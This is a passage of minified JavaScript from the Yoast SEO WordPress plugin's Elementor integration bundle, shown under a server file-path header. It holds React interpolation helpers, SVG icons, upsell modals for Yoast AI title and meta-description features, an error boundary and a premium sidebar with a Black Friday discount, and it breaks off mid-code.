Current File : /home/quantums/bodyguardslosangeles.net/wp-content/plugins/wordpress-seo/js/dist/elementor.js |
(()=>{var e={6746:(e,t,s)=>{"use strict";var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n=i(s(9196)),a=i(s(9156)),o=i(s(6743));function i(e){return e&&e.__esModule?e:{default:e}}var l=void 0;function c(e,t){var s,o,i,d,p,u,m,h,g=[],y={};for(u=0;u<e.length;u++)if("string"!==(p=e[u]).type){if(!t.hasOwnProperty(p.value)||void 0===t[p.value])throw new Error("Invalid interpolation, missing component node: `"+p.value+"`");if("object"!==r(t[p.value]))throw new Error("Invalid interpolation, component node must be a ReactElement or null: `"+p.value+"`","\n> "+l);if("componentClose"===p.type)throw new Error("Missing opening component token: `"+p.value+"`");if("componentOpen"===p.type){s=t[p.value],i=u;break}g.push(t[p.value])}else g.push(p.value);return s&&(d=function(e,t){var s,r,n=t[e],a=0;for(r=e+1;r<t.length;r++)if((s=t[r]).value===n.value){if("componentOpen"===s.type){a++;continue}if("componentClose"===s.type){if(0===a)return r;a--}}throw new Error("Missing closing component token `"+n.value+"`")}(i,e),m=c(e.slice(i+1,d),t),o=n.default.cloneElement(s,{},m),g.push(o),d<e.length-1&&(h=c(e.slice(d+1),t),g=g.concat(h))),1===g.length?g[0]:(g.forEach((function(e,t){e&&(y["interpolation-child-"+t]=e)})),(0,a.default)(y))}t.Z=function(e){var t=e.mixedString,s=e.components,n=e.throwErrors;if(l=t,!s)return t;if("object"!==(void 0===s?"undefined":r(s))){if(n)throw new Error("Interpolation Error: unable to process `"+t+"` because components is not an object");return t}var a=(0,o.default)(t);try{return c(a,s)}catch(e){if(n)throw new Error("Interpolation Error: unable to process `"+t+"` because of error `"+e.message+"`");return t}}},6743:e=>{"use strict";function t(e){return e.match(/^\{\{\//)?{type:"componentClose",value:e.replace(/\W/g,"")}:e.match(/\/\}\}$/)?{type:"componentSelfClosing",value:e.replace(/\W/g,"")}:e.match(/^\{\{/)?{type:"componentOpen",value:e.replace(/\W/g,"")}:{type:"string",value:e}}e.exports=function(e){return e.split(/(\{\{\/?\s*\w+\s*\/?\}\})/g).map(t)}},9156:(e,t,s)=>{"use strict";var r=s(9196),n="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103,a=s(7942),o=s(9179),i=s(397),l=".",c=":",d="function"==typeof Symbol&&Symbol.iterator,p="@@iterator";function u(e,t){return e&&"object"==typeof e&&null!=e.key?(s=e.key,r={"=":"=0",":":"=2"},"$"+(""+s).replace(/[=:]/g,(function(e){return r[e]}))):t.toString(36);var s,r}function m(e,t,s,r){var a,i=typeof e;if("undefined"!==i&&"boolean"!==i||(e=null),null===e||"string"===i||"number"===i||"object"===i&&e.$$typeof===n)return s(r,e,""===t?l+u(e,0):t),1;var h=0,g=""===t?l:t+c;if(Array.isArray(e))for(var y=0;y<e.length;y++)h+=m(a=e[y],g+u(a,y),s,r);else{var f=function(e){var t=e&&(d&&e[d]||e[p]);if("function"==typeof t)return t}(e);if(f)for(var w,b=f.call(e),E=0;!(w=b.next()).done;)h+=m(a=w.value,g+u(a,E++),s,r);else if("object"===i){var _=""+e;o(!1,"Objects are not valid as a React child (found: %s).%s","[object Object]"===_?"object with keys {"+Object.keys(e).join(", ")+"}":_,"")}}return h}var h=/\/+/g;function g(e){return(""+e).replace(h,"$&/")}var y,f,w=b,b=function(e){var t=this;if(t.instancePool.length){var s=t.instancePool.pop();return t.call(s,e),s}return new t(e)};function E(e,t,s,r){this.result=e,this.keyPrefix=t,this.func=s,this.context=r,this.count=0}function _(e,t,s){var n,o,i=e.result,l=e.keyPrefix,c=e.func,d=e.context,p=c.call(d,t,e.count++);Array.isArray(p)?v(p,i,s,a.thatReturnsArgument):null!=p&&(r.isValidElement(p)&&(n=p,o=l+(!p.key||t&&t.key===p.key?"":g(p.key)+"/")+s,p=r.cloneElement(n,{key:o},void 0!==n.props?n.props.children:void 0)),i.push(p))}function v(e,t,s,r,n){var a="";null!=s&&(a=g(s)+"/");var o=E.getPooled(t,a,r,n);!function(e,t,s){null==e||m(e,"",t,s)}(e,_,o),E.release(o)}E.prototype.destructor=function(){this.result=null,this.keyPrefix=null,this.func=null,this.context=null,this.count=0},y=function(e,t,s,r){var n=this;if(n.instancePool.length){var a=n.instancePool.pop();return n.call(a,e,t,s,r),a}return new n(e,t,s,r)},(f=E).instancePool=[],f.getPooled=y||w,f.poolSize||(f.poolSize=10),f.release=function(e){var t=this;o(e instanceof t,"Trying to release an instance into a pool of a different type."),e.destructor(),t.instancePool.length<t.poolSize&&t.instancePool.push(e)},e.exports=function(e){if("object"!=typeof e||!e||Array.isArray(e))return i(!1,"React.addons.createFragment only accepts a single object. Got: %s",e),e;if(r.isValidElement(e))return i(!1,"React.addons.createFragment does not accept a ReactElement without a wrapper object."),e;o(1!==e.nodeType,"React.addons.createFragment(...): Encountered an invalid child; DOM elements are not valid children of React components.");var t=[];for(var s in e)v(e[s],t,s,a.thatReturnsArgument);return t}},7942:e=>{"use strict";function t(e){return function(){return e}}var s=function(){};s.thatReturns=t,s.thatReturnsFalse=t(!1),s.thatReturnsTrue=t(!0),s.thatReturnsNull=t(null),s.thatReturnsThis=function(){return this},s.thatReturnsArgument=function(e){return e},e.exports=s},9179:e=>{"use strict";e.exports=function(e,t,s,r,n,a,o,i){if(!e){var l;if(void 0===t)l=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var c=[s,r,n,a,o,i],d=0;(l=new Error(t.replace(/%s/g,(function(){return c[d++]})))).name="Invariant Violation"}throw l.framesToPop=1,l}}},397:(e,t,s)=>{"use strict";var r=s(7942);e.exports=r},4530:(e,t)=>{var s;!function(){"use strict";var r={}.hasOwnProperty;function n(){for(var e=[],t=0;t<arguments.length;t++){var s=arguments[t];if(s){var a=typeof s;if("string"===a||"number"===a)e.push(s);else if(Array.isArray(s)){if(s.length){var o=n.apply(null,s);o&&e.push(o)}}else if("object"===a){if(s.toString!==Object.prototype.toString&&!s.toString.toString().includes("[native code]")){e.push(s.toString());continue}for(var i in s)r.call(s,i)&&s[i]&&e.push(i)}}}return e.join(" ")}e.exports?(n.default=n,e.exports=n):void 0===(s=function(){return n}.apply(t,[]))||(e.exports=s)}()},9196:e=>{"use strict";e.exports=window.React}},t={};function s(r){var n=t[r];if(void 0!==n)return n.exports;var a=t[r]={exports:{}};return e[r](a,a.exports,s),a.exports}s.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return s.d(t,{a:t}),t},s.d=(e,t)=>{for(var r in t)s.o(t,r)&&!s.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},s.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),s.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{"use strict";var e={};s.r(e),s.d(e,{authorFirstName:()=>wn,authorLastName:()=>bn,category:()=>xn,categoryTitle:()=>Sn,currentDate:()=>En,currentDay:()=>vn,currentMonth:()=>kn,currentYear:()=>Tn,date:()=>Rn,excerpt:()=>Cn,focusKeyphrase:()=>In,id:()=>Pn,modified:()=>Ln,name:()=>An,page:()=>On,pageNumber:()=>Fn,pageTotal:()=>Dn,permalink:()=>Mn,postContent:()=>Nn,postDay:()=>qn,postMonth:()=>Un,postTypeNamePlural:()=>Bn,postTypeNameSingular:()=>Wn,postYear:()=>$n,primaryCategory:()=>Yn,searchPhrase:()=>Kn,separator:()=>jn,siteDescription:()=>zn,siteName:()=>Hn,tag:()=>Vn,term404:()=>Gn,termDescription:()=>Zn,termHierarchy:()=>Qn,termTitle:()=>Xn,title:()=>Jn,userDescription:()=>ea});var t={};s.r(t),s.d(t,{DISMISS_ALERT:()=>Oc,NEW_REQUEST:()=>Dc,SNIPPET_EDITOR_FIND_CUSTOM_FIELDS:()=>Fc,wistiaEmbedPermission:()=>Mc});var r={};s.r(r),s.d(r,{loadSnippetEditorData:()=>Bc,updateData:()=>$c});var n={};s.r(n),s.d(n,{getSnippetEditorData:()=>Zc,getSnippetEditorSlug:()=>Gc});var a={};s.r(a),s.d(a,{getAnalysisData:()=>nd});var o={};s.r(o),s.d(o,{getWincherPermalink:()=>Ld});const i=window.wp.data,l=window.wp.hooks;var c=s(9196),d=s.n(c);const p=window.wp.components,u=window.wp.element,m=window.wp.i18n,h=window.yoast.uiLibrary,g=window.yoast.propTypes;var y=s.n(g);y().string.isRequired;const f=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),w=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{fillRule:"evenodd",d:"M12.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),b=({learnMoreLink:e,thumbnail:t,wistiaEmbedPermission:s,upsellLink:r,isProductCopy:n,title:a,upsellLabel:o,newToText:i,bundleNote:l})=>{const{onClose:d,initialFocus:p}=(0,h.useModalContext)(),g={a:(0,c.createElement)(q,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,c.createElement)(w,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"})};return(0,c.createElement)(c.Fragment,null,(0,c.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,c.createElement)("div",{className:"yst-relative yst-w-full"},(0,c.createElement)(me,{videoId:"vmrahpfjxp",thumbnail:t,wistiaEmbedPermission:s}),(0,c.createElement)(h.Badge,{className:"yst-absolute yst-top-2 yst-end-4",variant:"info"},"Beta")),(0,c.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,c.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,c.createElement)("span",{className:"yst-logo-icon"}),i))),(0,c.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,c.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,c.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},a),(0,c.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},n?(0,u.createInterpolateElement)((0,m.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,m.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for product titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),g):(0,u.createInterpolateElement)((0,m.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,m.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),g))),(0,c.createElement)("div",{className:"yst-w-full yst-flex yst-mt-10"},(0,c.createElement)(h.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:r,target:"_blank",ref:p},(0,c.createElement)(f,{className:"yst--ms-1 yst-me-2 yst-h-5 yst-w-5"}),o,(0,c.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,m.__)("(Opens in a new browser tab)","wordpress-seo")))),l,(0,c.createElement)(h.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:d},(0,m.__)("Close","wordpress-seo"))))};b.propTypes={learnMoreLink:y().string.isRequired,upsellLink:y().string.isRequired,thumbnail:y().shape({src:y().string.isRequired,width:y().string,height:y().string}).isRequired,wistiaEmbedPermission:y().shape({value:y().bool.isRequired,status:y().string.isRequired,set:y().func.isRequired}).isRequired,title:y().string,upsellLabel:y().string,newToText:y().string,isProductCopy:y().bool,bundleNote:y().oneOfType([y().string,y().element])},b.defaultProps={title:(0,m.__)("Use AI to write your titles & meta descriptions!","wordpress-seo"),upsellLabel:(0,m.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,m.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),newToText:"Yoast SEO Premium",isProductCopy:!1,bundleNote:""};const E=({learnMoreLink:e,thumbnail:t,wistiaEmbedPermission:s,upsellLink:r,upsellLabel:n})=>{const{onClose:a,initialFocus:o}=(0,h.useModalContext)(),i={a:(0,c.createElement)(q,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,c.createElement)(w,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"}),br:(0,c.createElement)("br",null)};return(0,c.createElement)(c.Fragment,null,(0,c.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,c.createElement)("div",{className:"yst-relative yst-w-full"},(0,c.createElement)(me,{videoId:"vun9z1dpfh",thumbnail:t,wistiaEmbedPermission:s}),(0,c.createElement)(h.Badge,{className:"yst-absolute yst-end-4 yst-text-center yst-justify-center",variant:"info",style:{top:"-8px"}},(0,m.__)("Beta","wordpress-seo-premium"))),(0,c.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,c.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,c.createElement)("span",{className:"yst-logo-icon"}),"Yoast SEO Premium"))),(0,c.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,c.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,c.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},(0,m.sprintf)(/* translators: %s: Expands to "Yoast AI" */
(0,m.__)("Optimize your SEO content with %s","wordpress-seo"),"Yoast AI")),(0,c.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},(0,u.createInterpolateElement)((0,m.sprintf)(/* translators: %1$s is a break tag; %2$s and %3$s are anchor tags; %4$s is the arrow icon. */
(0,m.__)("Make content editing a breeze! Optimize your SEO content with quick, actionable suggestions at the click of a button.%1$s%2$sLearn more%3$s%4$s","wordpress-seo"),"<br/>","<a>","<ArrowNarrowRightIcon />","</a>"),i))),(0,c.createElement)("div",{className:"yst-w-full yst-flex yst-mt-6"},(0,c.createElement)(h.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:r,target:"_blank",ref:o},(0,c.createElement)(f,{className:"yst--ms-1 yst-me-2 yst-h-5 yst-w-5"}),n,(0,c.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,m.__)("(Opens in a new browser tab)","wordpress-seo")))),(0,c.createElement)(h.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:a},(0,m.__)("Close","wordpress-seo"))))};E.propTypes={learnMoreLink:y().string.isRequired,upsellLink:y().string.isRequired,thumbnail:y().shape({src:y().string.isRequired,width:y().string,height:y().string}).isRequired,wistiaEmbedPermission:y().shape({value:y().bool.isRequired,status:y().string.isRequired,set:y().func.isRequired}).isRequired,upsellLabel:y().string},E.defaultProps={upsellLabel:(0,m.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,m.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium")};const _=({handleRefreshClick:e,supportLink:t})=>(0,c.createElement)("div",{className:"yst-flex yst-gap-2"},(0,c.createElement)(h.Button,{onClick:e},(0,m.__)("Refresh this page","wordpress-seo")),(0,c.createElement)(h.Button,{variant:"secondary",as:"a",href:t,target:"_blank",rel:"noopener"},(0,m.__)("Contact support","wordpress-seo")));_.propTypes={handleRefreshClick:y().func.isRequired,supportLink:y().string.isRequired};const v=({handleRefreshClick:e,supportLink:t})=>(0,c.createElement)("div",{className:"yst-grid yst-grid-cols-1 yst-gap-y-2"},(0,c.createElement)(h.Button,{className:"yst-order-last",onClick:e},(0,m.__)("Refresh this page","wordpress-seo")),(0,c.createElement)(h.Button,{variant:"secondary",as:"a",href:t,target:"_blank",rel:"noopener"},(0,m.__)("Contact support","wordpress-seo")));v.propTypes={handleRefreshClick:y().func.isRequired,supportLink:y().string.isRequired};const k=({error:e,children:t})=>(0,c.createElement)("div",{role:"alert",className:"yst-max-w-screen-sm yst-p-8 yst-space-y-4"},(0,c.createElement)(h.Title,null,(0,m.__)("Something went wrong. An unexpected error occurred.","wordpress-seo")),(0,c.createElement)("p",null,(0,m.__)("We're very sorry, but it seems like the following error has interrupted our application:","wordpress-seo")),(0,c.createElement)(h.Alert,{variant:"error"},(null==e?void 0:e.message)||(0,m.__)("Undefined error message.","wordpress-seo")),(0,c.createElement)("p",null,(0,m.__)("Unfortunately, this means that any unsaved changes in this section will be lost. You can try and refresh this page to resolve the problem. If this error still occurs, please get in touch with our support team, and we'll get you all the help you need!","wordpress-seo")),t);k.propTypes={error:y().object.isRequired,children:y().node},k.VerticalButtons=v,k.HorizontalButtons=_;var x;function S(){return S=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},S.apply(this,arguments)}y().string,y().node.isRequired,y().node.isRequired,y().node,y().oneOf(Object.keys({lg:{grid:"yst-grid lg:yst-grid-cols-3 lg:yst-gap-12",col1:"yst-col-span-1",col2:"lg:yst-mt-0 lg:yst-col-span-2"},xl:{grid:"yst-grid xl:yst-grid-cols-3 xl:yst-gap-12",col1:"yst-col-span-1",col2:"xl:yst-mt-0 xl:yst-col-span-2"},"2xl":{grid:"yst-grid 2xl:yst-grid-cols-3 2xl:yst-gap-12",col1:"yst-col-span-1",col2:"2xl:yst-mt-0 2xl:yst-col-span-2"}}));const T=e=>c.createElement("svg",S({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 1000 1000"},e),x||(x=c.createElement("path",{fill:"#fff",d:"M500 0C223.9 0 0 223.9 0 500s223.9 500 500 500 500-223.9 500-500S776.1 0 500 0Zm87.2 412.4c0-21.9 4.3-40.2 13.1-54.4s24-27.1 45.9-38.2l10.1-4.9c17.8-9 22.4-16.7 22.4-26 0-11.1-9.5-19.1-25-19.1-18.3 0-32.2 9.5-41.8 28.9l-24.7-24.8c5.4-11.6 14.1-20.9 25.8-28.1a70.8 70.8 0 0 1 38.9-11.1c17.8 0 33.3 4.6 45.9 14.2s19.4 22.7 19.4 39.4c0 26.6-15 42.9-43.1 57.3l-15.7 8c-16.8 8.5-25.1 16-27.4 29.4h85.4v35.4H587.2Zm-82.1 373.3c-157.8 0-285.7-127.9-285.7-285.7s127.9-285.7 285.7-285.7a286.4 286.4 0 0 1 55.9 5.5l-55.9 116.9c-90 0-163.3 73.3-163.3 163.3s73.3 163.3 163.3 163.3a162.8 162.8 0 0 0 106.4-39.6l61.8 107.2a283.9 283.9 0 0 1-168.2 54.8ZM705 704.1l-70.7-122.5H492.9l70.7-122.4H705l70.7 122.4Z"}))),R=window.lodash,C=window.ReactDOM;var I,P,L;(P=I||(I={})).Pop="POP",P.Push="PUSH",P.Replace="REPLACE",function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"}(L||(L={})),new Set(["lazy","caseSensitive","path","id","index","children"]),Error;const A=["post","put","patch","delete"],O=(new Set(A),["get",...A]);new Set(O),new Set([301,302,303,307,308]),new Set([307,308]),Symbol("deferred"),c.Component,c.startTransition,new Promise((()=>{})),c.Component,new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);try{window.__reactRouterVersion="6"}catch(e){}var F,D,M,N;new Map,c.startTransition,C.flushSync,c.useId,"undefined"!=typeof window&&void 0!==window.document&&window.document.createElement,(N=F||(F={})).UseScrollRestoration="useScrollRestoration",N.UseSubmit="useSubmit",N.UseSubmitFetcher="useSubmitFetcher",N.UseFetcher="useFetcher",N.useViewTransitionState="useViewTransitionState",(M=D||(D={})).UseFetcher="useFetcher",M.UseFetchers="useFetchers",M.UseScrollRestoration="useScrollRestoration",y().string.isRequired,y().string;const q=({href:e,children:t,...s})=>(0,c.createElement)(h.Link,{target:"_blank",rel:"noopener noreferrer",...s,href:e},t,(0,c.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,m.__)("(Opens in a new browser tab)","wordpress-seo")));q.propTypes={href:y().string.isRequired,children:y().node},q.defaultProps={children:null};const U=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17 8l4 4m0 0l-4 4m4-4H3"}))}));var $,B,W;function Y(){return Y=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},Y.apply(this,arguments)}const K=e=>c.createElement("svg",Y({xmlns:"http://www.w3.org/2000/svg",id:"star-rating-half_svg__Layer_1","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),$||($=c.createElement("defs",null,c.createElement("style",null,".star-rating-half_svg__cls-1{fill:#fbbf24}"))),B||(B=c.createElement("path",{d:"M250 392.04 98.15 471.87l29-169.09L4.3 183.03l169.77-24.67L250 4.52l75.93 153.84 169.77 24.67-122.85 119.75 29 169.09L250 392.04z",className:"star-rating-half_svg__cls-1"})),W||(W=c.createElement("path",{d:"m250 9.04 73.67 149.27.93 1.88 2.08.3 164.72 23.94-119.19 116.19-1.51 1.47.36 2.07 28.14 164.06-147.34-77.46-1.86-1-1.86 1-147.34 77.46 28.14-164.06.36-2.07-1.51-1.47L8.6 184.43l164.72-23.9 2.08-.3.93-1.88L250 9.04m0-9-77.25 156.49L0 181.64l125 121.89-29.51 172L250 394.3l154.51 81.23-29.51-172 125-121.89-172.75-25.11L250 0Z",className:"star-rating-half_svg__cls-1"})),c.createElement("path",{d:"m500 181.64-172.75-25.11L250 0v394.3l154.51 81.23L375 303.48l125-121.84z",style:{fill:"#f3f4f6"}}));function j(){return j=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},j.apply(this,arguments)}const z=e=>c.createElement("svg",j({xmlns:"http://www.w3.org/2000/svg","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),c.createElement("path",{d:"m250 0 77.25 156.53L500 181.64 375 303.48l29.51 172.05L250 394.3 95.49 475.53 125 303.48 0 181.64l172.75-25.11L250 0z",style:{fill:"#fbbf24"}}));var H,V,G,Z,Q,X,J,ee,te;function se(){return se=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},se.apply(this,arguments)}const re=e=>c.createElement("svg",se({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 500 500"},e),H||(H=c.createElement("path",{fill:"#a4286a",d:"M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"})),V||(V=c.createElement("path",{fill:"#6c2548",d:"M437.61 2 155.89 500H500V80a80 80 0 0 0-62.39-78z"})),G||(G=c.createElement("path",{fill:"#fff",d:"M74.4 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L140.3 236l-37-116.2h-41l54.4 139.8a57.54 57.54 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z"})),Z||(Z=c.createElement("circle",{cx:368.33,cy:124.68,r:97.34,fill:"#9fda4f",transform:"rotate(-45 368.335 124.68)"})),Q||(Q=c.createElement("path",{fill:"#77b227",d:"m416.2 39.93-95.74 169.51A97.34 97.34 0 1 0 416.2 39.93z"})),X||(X=c.createElement("path",{fill:"#fec228",d:"m294.78 254.75-.15-.08-.13-.07a63.6 63.6 0 0 0-62.56 110.76h.13a63.6 63.6 0 0 0 62.71-110.67z"})),J||(J=c.createElement("path",{fill:"#f49a00",d:"m294.5 254.59-62.56 110.76a63.6 63.6 0 1 0 62.56-110.76z"})),ee||(ee=c.createElement("path",{fill:"#ff4e47",d:"M222.31 450.07A38.16 38.16 0 0 0 203 416.83a38.18 38.18 0 1 0 19.41 33.27z"})),te||(te=c.createElement("path",{fill:"#ed261f",d:"m202.9 416.8-37.54 66.48a38.17 38.17 0 0 0 37.54-66.48z"}))),ne=({link:e,linkProps:t,isPromotionActive:s})=>{let r=(0,u.useMemo)((()=>(0,m.__)("Use AI to generate titles and meta descriptions, automatically redirect deleted pages, get 24/7 support, and much, much more!","wordpress-seo")),[]),n=(0,u.createInterpolateElement)((0,m.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,m.__)("%1$sGet%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,c.createElement)("span",{className:"yst-whitespace-nowrap"})});const a=s("black-friday-2024-promotion");return a&&(r=(0,u.useMemo)((()=>(0,m.__)("If you were thinking about upgrading, now's the time! 30% OFF ends 3rd Dec 11am (CET)","wordpress-seo")),[]),n=(0,u.createInterpolateElement)((0,m.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,m.__)("%1$sBuy%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,c.createElement)("span",{className:"yst-whitespace-nowrap"})})),(0,c.createElement)("div",{className:"yst-p-6 yst-rounded-lg yst-text-white yst-bg-primary-500 yst-shadow"},(0,c.createElement)("figure",{className:"yst-logo-square yst-w-16 yst-h-16 yst-mx-auto yst-overflow-hidden yst-border yst-border-white yst-rounded-xl yst-rounded-br-none yst-relative yst-z-10 yst-mt-[-2.6rem]"},(0,c.createElement)(re,null)),a&&(0,c.createElement)("div",{className:"sidebar__sale_banner_container"},(0,c.createElement)("div",{className:"sidebar__sale_banner"},(0,c.createElement)("span",{className:"banner_text"},(0,m.__)("30% OFF - BLACK FRIDAY","wordpress-seo")))),(0,c.createElement)(h.Title,{as:"h2",className:"yst-mt-6 yst-text-base yst-font-extrabold yst-text-white"},n),(0,c.createElement)("p",{className:"yst-mt-2"},r),(0,c.createElement)(h.Button,{as:"a",variant:"upsell",href:e,target:"_blank",rel:"noopener",className:"yst-flex yst-justify-center yst-gap-2 yst-mt-4 focus:yst-ring-offset-primary-500",...t},(0,c.createElement)("span",null,a?(0,m.__)("Buy now","wordpress-seo"):n),(0,c.createElement)(U,{className:"yst-w-4 yst-h-4 yst-icon-rtl"})),(0,c.createElement)("p",{className:"yst-text-center yst-text-xs yst-mx-2 yst-font-light yst-leading-5 yst-mt-2"},!a&&(0,c.createElement)(c.Fragment,null,(0,m.__)("Only $/€/£99 per year (ex VAT)","wordpress-seo"),(0,c.createElement)("br",null)),(0,m.__)("30-day money back guarantee.","wordpress-seo")),(0,c.createElement)("hr",{className:"yst-border-t yst-border-primary-300 yst-my-4"}),(0,c.createElement)("a",{className:"yst-block yst-mt-4 yst-no-underline",href:"https://www.g2.com/products/yoast-yoast/reviews",target:"_blank",rel:"noopener noreferrer"},(0,c.createElement)("span",{className:"yst-font-medium yst-text-white hover:yst-underline"},(0,m.__)("Read reviews from real users","wordpress-seo")),(0,c.createElement)("span",{className:"yst-flex yst-gap-2 yst-mt-2 yst-items-center"},(0,c.createElement)(T,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)("span",{className:"yst-flex yst-gap-1"},(0,c.createElement)(z,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)(z,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)(z,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)(z,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)(K,{className:"yst-w-5 yst-h-5"})),(0,c.createElement)("span",{className:"yst-text-sm yst-font-semibold yst-text-white"},"4.6 / 5"))))};ne.propTypes={link:y().string.isRequired,linkProps:y().object,isPromotionActive:y().func},ne.defaultProps={linkProps:{},isPromotionActive:R.noop};const ae=()=>[(0,m.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,m.__)("%1$sAI%2$s: Better SEO titles and meta descriptions, faster.","wordpress-seo"),"<strong>","</strong>"),(0,m.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,m.__)("%1$sMultiple keywords%2$s: Rank higher for more searches.","wordpress-seo"),"<strong>","</strong>"),(0,m.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
